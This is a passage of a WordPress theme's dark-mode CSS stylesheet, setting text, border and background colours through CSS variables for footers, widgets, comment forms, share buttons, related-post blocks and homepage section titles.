body.pcdm-enable.pcdark-mode .footer-widget-wrapper a,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget ul.side-newsfeed li .side-item .side-item-text h4 a,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget a,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget-social a i,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget-social a span,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget-social a:hover i {
    color: #fff;
}
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .penci-tweets-widget-content .icon-tweets,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .penci-tweets-widget-content .tweet-intents a,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .penci-tweets-widget-content .tweet-intents span:after,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget ul.side-newsfeed li .side-item {
}
body.pcdm-enable.pcdark-mode .side-item-text h4 a:hover,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget a:hover,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget-social a:hover span,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper a:hover,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget-social.remove-circle a:hover i,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget .tagcloud a:hover,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget-social a:hover i,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .mc4wp-form input[type="submit"]:hover,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type="submit"]:hover,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .penci-user-logged-in .penci-user-action-links a:hover,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget button[type="submit"]:hover {
    color: var(--pctext-cl);
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .about-widget .about-me-heading:before {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .penci-tweets-widget-content .tweet-intents-inner:before,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .penci-tweets-widget-content .tweet-intents-inner:after {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot.active span,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot:hover span {
    border-color: var(--pcborder-cl);
    background: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode ul.footer-socials li a i {
    border-color: var(--pcborder-cl);
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode ul.footer-socials li a:hover i {
    background-color: var(--pcbg-cl);
    color: var(--pctext-cl);
    border-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode ul.footer-socials li a span {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode ul.footer-socials li a:hover span {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .footer-socials-section,
body.pcdm-enable.pcdark-mode .penci-footer-social-moved {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .footer-instagram h4.footer-instagram-title {
    border-color: var(--pcborder-cl);
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode #footer-section,
body.pcdm-enable.pcdark-mode .penci-footer-social-moved {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-footer-social-moved {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode #footer-section .footer-menu li a {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode #footer-section .footer-menu li a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode #footer-section,
body.pcdm-enable.pcdark-mode #footer-copyright * {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #footer-section .go-to-top i,
body.pcdm-enable.pcdark-mode #footer-section .go-to-top-parent span {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #footer-section .go-to-top:hover span,
body.pcdm-enable.pcdark-mode #footer-section .go-to-top:hover i {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-go-to-top-floating {
    background-color: var(--pcaccent-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #footer-section a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .footer-instagram h4.footer-instagram-title span {
    border-color: var(--pctext-cl);
    color: inherit;
}
body.pcdm-enable.pcdark-mode .comment-content a,
body.pcdm-enable.pcdark-mode .container-single .post-entry a,
body.pcdm-enable.pcdark-mode .container-single .format-post-box .dt-special a:hover,
body.pcdm-enable.pcdark-mode .container-single .author-quote span,
body.pcdm-enable.pcdark-mode .container-single .author-post span a:hover,
body.pcdm-enable.pcdark-mode .post-entry blockquote:before,
body.pcdm-enable.pcdark-mode .post-entry blockquote cite,
body.pcdm-enable.pcdark-mode .post-entry blockquote .author,
body.pcdm-enable.pcdark-mode .wpb_text_column blockquote:before,
body.pcdm-enable.pcdark-mode .wpb_text_column blockquote cite,
body.pcdm-enable.pcdark-mode .wpb_text_column blockquote .author,
body.pcdm-enable.pcdark-mode .post-pagination a:hover,
body.pcdm-enable.pcdark-mode .author-content h5 a:hover,
body.pcdm-enable.pcdark-mode .author-content .author-social:hover,
body.pcdm-enable.pcdark-mode .item-related h3 a:hover,
body.pcdm-enable.pcdark-mode .container-single .format-post-box .post-format-icon i,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb.single-breadcrumb span a:hover,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb.single-breadcrumb a:hover,
body.pcdm-enable.pcdark-mode .penci_list_shortcode li:before,
body.pcdm-enable.pcdark-mode .penci-dropcap-box-outline,
body.pcdm-enable.pcdark-mode .penci-dropcap-circle-outline,
body.pcdm-enable.pcdark-mode .penci-dropcap-regular,
body.pcdm-enable.pcdark-mode .penci-dropcap-bold,
body.pcdm-enable.pcdark-mode .header-standard .post-box-meta-single .author-post span a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .container-single .standard-content-special .format-post-box,
body.pcdm-enable.pcdark-mode ul.slick-dots li button:hover,
body.pcdm-enable.pcdark-mode ul.slick-dots li.slick-active button,
body.pcdm-enable.pcdark-mode .penci-dropcap-box-outline,
body.pcdm-enable.pcdark-mode .penci-dropcap-circle-outline {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode ul.slick-dots li button:hover,
body.pcdm-enable.pcdark-mode ul.slick-dots li.slick-active button,
body.pcdm-enable.pcdark-mode #respond h3.comment-reply-title span:before,
body.pcdm-enable.pcdark-mode #respond h3.comment-reply-title span:after,
body.pcdm-enable.pcdark-mode .post-box-title:before,
body.pcdm-enable.pcdark-mode .post-box-title:after,
body.pcdm-enable.pcdark-mode .container-single .author-quote span:before,
body.pcdm-enable.pcdark-mode .container-single .author-quote {
}
body.pcdm-enable.pcdark-mode .post-entry blockquote .author span:after,
body.pcdm-enable.pcdark-mode .post-entry blockquote .author span:before,
body.pcdm-enable.pcdark-mode .post-entry ul li:before,
body.pcdm-enable.pcdark-mode #respond #submit:hover,
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=submit]:hover,
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form button[type=submit]:hover,
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button:hover,
body.pcdm-enable.pcdark-mode .wpcf7 input[type="submit"]:hover,
body.pcdm-enable.pcdark-mode .widget_wysija input[type="submit"]:hover,
body.pcdm-enable.pcdark-mode .post-entry.blockquote-style-2 blockquote:before,
body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-s2 .post-share-plike,
body.pcdm-enable.pcdark-mode .penci-dropcap-box,
body.pcdm-enable.pcdark-mode .penci-dropcap-circle,
body.pcdm-enable.pcdark-mode .penci-ldspinner > div {
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .container-single .post-entry .post-tags a:hover {
    background-color: var(--pcbg-cl);
    color: var(--pctext-cl);
    border-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-menu-hbg,
body.pcdm-enable.pcdark-mode #sidebar-nav {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode form.pc-searchform input.search-input,
body.pcdm-enable.pcdark-mode .penci-menu-hbg .menu li,
body.pcdm-enable.pcdark-mode #sidebar-nav .menu li {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-user-logged-in .penci-user-action-links a,
body.pcdm-enable.pcdark-mode .penci-login-register input[type="submit"],
body.pcdm-enable.pcdark-mode .widget input[type="submit"],
body.pcdm-enable.pcdark-mode .widget button[type="submit"],
body.pcdm-enable.pcdark-mode .contact-form input[type=submit],
body.pcdm-enable.pcdark-mode #respond #submit,
body.pcdm-enable.pcdark-mode .wpcf7 input[type="submit"],
body.pcdm-enable.pcdark-mode .widget_wysija input[type="submit"],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=submit],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form button[type=submit],
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button,
body.pcdm-enable.pcdark-mode .mc4wp-form input[type=submit] {
    background-color: var(--pcbg-l-cl);
    color: var(--pctext-cl);
}
.pcdark-mode .penci-user-logged-in .penci-user-action-links a,
.pcdark-mode .penci-login-register input[type="submit"],
.pcdark-mode .widget input[type="submit"],
.pcdark-mode .widget button[type="submit"],
.pcdark-mode .contact-form input[type=submit],
.pcdark-mode #respond #submit,
.pcdark-mode .wpcf7 input[type="submit"],
.pcdark-mode .widget_wysija input[type="submit"],
.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=submit],
.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form button[type=submit],
.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button,
.pcdark-mode .mc4wp-form input[type=submit] {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .wp-block-search .wp-block-search__button svg {
    fill: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-user-logged-in .penci-user-action-links a:hover,
body.pcdm-enable.pcdark-mode .penci-login-register input[type="submit"]:hover,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget button[type="submit"]:hover,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .mc4wp-form input[type="submit"]:hover,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type="submit"]:hover,
body.pcdm-enable.pcdark-mode .widget input[type="submit"]:hover,
body.pcdm-enable.pcdark-mode .widget button[type="submit"]:hover,
body.pcdm-enable.pcdark-mode .contact-form input[type=submit]:hover,
body.pcdm-enable.pcdark-mode #respond #submit:hover,
body.pcdm-enable.pcdark-mode .wpcf7 input[type="submit"]:hover,
body.pcdm-enable.pcdark-mode .widget_wysija input[type="submit"]:hover,
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=submit]:hover,
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form button[type=submit]:hover,
body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button:hover,
body.pcdm-enable.pcdark-mode .mc4wp-form input[type=submit]:hover {
    background-color: var(--pcbg-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .wp-block-search .wp-block-search__button:hover svg {
    fill: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-ldspinner > div {
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .container-single .penci-standard-cat .cat > a.penci-cat-name {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .container-single .penci-standard-cat .cat:before,
body.pcdm-enable.pcdark-mode .container-single .penci-standard-cat .cat:after {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .container-single .header-standard .post-title {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .container-single .header-standard h2.penci-psub-title,
body.pcdm-enable.pcdark-mode .container-single h2.penci-psub-title {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .container-single .post-entry .post-tags a {
    border-color: var(--pcborder-cl);
    background-color: var(--pcbg-cl);
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .pcnew-share .penci-social-share-text,
body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-2_3 .penci-social-share-text {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .pcnew-share .penci-social-share-text {
    background-color: var(--pcbg-cl);
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .pcnew-share .penci-social-share-text:after {
    border-color: transparent transparent transparent var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .pcnew-share .penci-social-share-text:before {
    border-left-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-2_3 .post-share .count-number-like,
body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-2_3 .post-share a,
body.pcdm-enable.pcdark-mode .container-single .post-share a,
body.pcdm-enable.pcdark-mode .page-share .post-share a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .container-single .post-share a:hover,
body.pcdm-enable.pcdark-mode .page-share .post-share a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .container-single .post-share a.liked {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-2_3 .post-share .count-number-like,
body.pcdm-enable.pcdark-mode .post-share .count-number-like {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-s3 .post-share .post-share-item {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-s3 .post-share .post-share-item:hover {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .tags-share-box .single-comment-o,
body.pcdm-enable.pcdark-mode .post-box-meta-single span,
body.pcdm-enable.pcdark-mode .header-standard .post-box-meta-single .author-post span {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb.single-breadcrumb span a:hover,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb.single-breadcrumb a:hover,
body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb span a:hover,
body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb a:hover,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb span a:hover,
body.pcdm-enable.pcdark-mode .container.penci-breadcrumb a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .post-entry,
body.pcdm-enable.pcdark-mode .post-entry p {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode.single .post-entry a,
body.pcdm-enable.pcdark-mode .container-single .post-entry a {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-ilrelated-posts {
    background-color: var(--pcbg-cl);
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .pcilrp-heading span {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .pcilrp-heading span:after {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-ilrelated-posts .pcilrp-item-grid .pcilrp-title a,
body.pcdm-enable.pcdark-mode .penci-ilrelated-posts .pcilrp-item-list a {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .penci-ilrelated-posts .pcilrp-item-grid .pcilrp-title a:hover,
body.pcdm-enable.pcdark-mode .penci-ilrelated-posts .pcilrp-item-list a:hover {
    color: var(--pclh-cl);
}
body.pcdm-enable.pcdark-mode .pcilrp-meta {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-single-style-9 .penci-post-image-wrapper,
body.pcdm-enable.pcdark-mode .penci-single-style-10 .penci-post-image-wrapper {
    background-color: var(--pcbg-cl);
}
/*more css*/
body.pcdm-enable.pcdark-mode .penci-rlt-popup .rtlpopup-heading {
    background-color: var(--pcbg-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-rlt-popup .penci-close-rltpopup {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-rlt-popup {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .penci-rlt-popup .rltpopup-meta .rltpopup-title {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci-rlt-popup .rltpopup-meta .rltpopup-title:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-rlt-popup .rltpopup-meta .date {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-rlt-popup .rltpopup-item {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode. post-author {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .post-author,
body.pcdm-enable.pcdark-mode .abio-style-3 .author-img img,
body.pcdm-enable.pcdark-mode .abio-style-4 .author-img img {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .author-content h5 a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .author-content h5 a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .author-content p {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .author-content .author-social {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .author-content .author-social:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .post-pagination span {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .post-pagination a {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .post-pagination a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode #respond h3.comment-reply-title span,
.post-box-title {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #respond h3.comment-reply-title span:before,
body.pcdm-enable.pcdark-mode #respond h3.comment-reply-title span:after,
body.pcdm-enable.pcdark-mode .post-box-title:before,
body.pcdm-enable.pcdark-mode .post-box-title:after {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .item-related h3 a {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .item-related h3 a:hover {
    color: var(--pclh-cl);
}
body.pcdm-enable.pcdark-mode .item-related span.date {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .thecomment .comment-text span.author,
.thecomment .comment-text span.author a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .thecomment .comment-text span.author a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .thecomment .comment-text span.date {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .post-comments span.reply a,
body.pcdm-enable.pcdark-mode .post-comments span.reply a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .thecomment .comment-content,
body.pcdm-enable.pcdark-mode .thecomment .comment-content p {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #respond input[type="text"],
body.pcdm-enable.pcdark-mode #respond input[type="email"],
body.pcdm-enable.pcdark-mode #respond textarea {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #respond input[type="text"]::placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #respond input[type="text"]:-ms-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #respond input[type="text"]::-ms-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #respond input[type="email"]::placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #respond input[type="email"]:-ms-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #respond input[type="email"]::-ms-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #respond textarea::placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #respond textarea:-ms-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #respond textarea::-ms-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode form#commentform > .comment-form-cookies-consent,
body.pcdm-enable.pcdark-mode form#commentform > div.penci-gdpr-message {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes .penci-fea-in h4 span span,
body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes .penci-fea-in h4 span,
body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4 {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes li .penci-fea-in:before,
body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes li .penci-fea-in:after,
body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes .penci-fea-in h4 span span:before,
body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes .penci-fea-in h4 > span:before,
body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes .penci-fea-in h4 > span:after,
body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4:before {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes .penci-fea-in h4 span span {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode ul.homepage-featured-boxes .penci-fea-in:hover h4 span {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .home-pupular-posts-title {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci-home-popular-posts {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-home-popular-post .item-related h3 a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-home-popular-post .item-related h3 a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-home-popular-post .item-related span.date {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-14 .inner-arrow:before,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-11 .inner-arrow,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-12 .inner-arrow,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-13 .inner-arrow,
body.pcdm-enable.pcdark-mode .penci-homepage-title .inner-arrow,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-15 .inner-arrow {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-border-arrow.penci-homepage-title.style-2:after {
    border-top-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-border-arrow.penci-homepage-title:after {
    background-color: var(--pcbg-cl);
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-border-arrow.penci-homepage-title .inner-arrow,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-4 .inner-arrow:before,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-4 .inner-arrow:after,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-7,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-9 {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-border-arrow.penci-homepage-title:before {
    border-top-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-5,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-7 {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-16.penci-border-arrow:after {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-10,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-12,
body.pcdm-enable.pcdark-mode .penci-border-arrow.penci-homepage-title.style-5 .inner-arrow {
    border-bottom-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-5 {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-7 .inner-arrow:before,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-9 .inner-arrow:before {
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-10 {
    border-top-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-13.pcalign-center .inner-arrow:before,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-13.pcalign-right .inner-arrow:before {
    border-left-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-13.pcalign-center .inner-arrow:after,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-13.pcalign-left .inner-arrow:after {
    border-right-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-12 .inner-arrow:before,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-12.pcalign-center .inner-arrow:after,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-12.pcalign-right .inner-arrow:after {
    border-bottom-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-11 .inner-arrow:after,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-11 .inner-arrow:before {
    border-top-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-15.penci-border-arrow:before {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-15.penci-border-arrow:after {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-18.penci-border-arrow:after {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title .inner-arrow,
body.pcdm-enable.pcdark-mode .penci-homepage-title.penci-magazine-title .inner-arrow a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .home-featured-cat-content .magcat-detail h3 a {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .home-featured-cat-content .magcat-detail h3 a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .home-featured-cat-content .grid-post-box-meta span {
    color: var(--pcmeta-cl)
}
body.pcdm-enable.pcdark-mode .home-featured-cat-content .mag-photo .grid-post-box-meta span,
body.pcdm-enable.pcdark-mode .home-featured-cat-content .mag-photo .grid-post-box-meta span a,
body.pcdm-enable.pcdark-mode .home-featured-cat-content .penci-single-mag-slider .grid-post-box-meta span,
body.pcdm-enable.pcdark-mode .home-featured-cat-content .penci-single-mag-slider .grid-post-box-meta span a,
body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-14 .mag-meta,
body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-14 .mag-meta span a,
body.pcdm-enable.pcdark-mode .home-featured-cat-content .mag-photo .grid-post-box-meta span:after,
body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-15 .first-post .grid-post-box-meta span,
body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-15 .first-post .grid-post-box-meta span a {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .home-featured-cat-content .grid-post-box-meta span a {
    color: var(--pcmeta-cl)
}
body.pcdm-enable.pcdark-mode .home-featured-cat-content .grid-post-box-meta span a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .home-featured-cat-content .first-post .magcat-detail .mag-header:after {
    background: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-slider ol.penci-control-nav li a.penci-active,
body.pcdm-enable.pcdark-mode .penci-slider ol.penci-control-nav li a:hover {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-featured-cat-seemore a,
body.pcdm-enable.pcdark-mode .penci-featured-cat-seemore.penci-btn-make-button a {
    color: var(--pctext-cl)
}
body.pcdm-enable.pcdark-mode .penci-featured-cat-seemore.penci-btn-make-button a {
    background-color: var(--pcbg-cl)
}
body.pcdm-enable.pcdark-mode .home-featured-cat-content .mag-photo .magcat-detail h3 a,
body.pcdm-enable.pcdark-mode .penci-single-mag-slider .magcat-detail .magcat-titlte a,
body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-14 .first-post .magcat-detail h3 a,
body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-15 .first-post .magcat-detail h3 a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .home-featured-cat-content .mag-photo .magcat-detail h3 a:hover,
body.pcdm-enable.pcdark-mode .penci-single-mag-slider .magcat-detail .magcat-titlte a:hover,
body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-14 .first-post .magcat-detail h3 a:hover,
body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-15 .first-post .magcat-detail h3 a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .text-grid-info h3 a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .text-grid-info h3 a:hover {
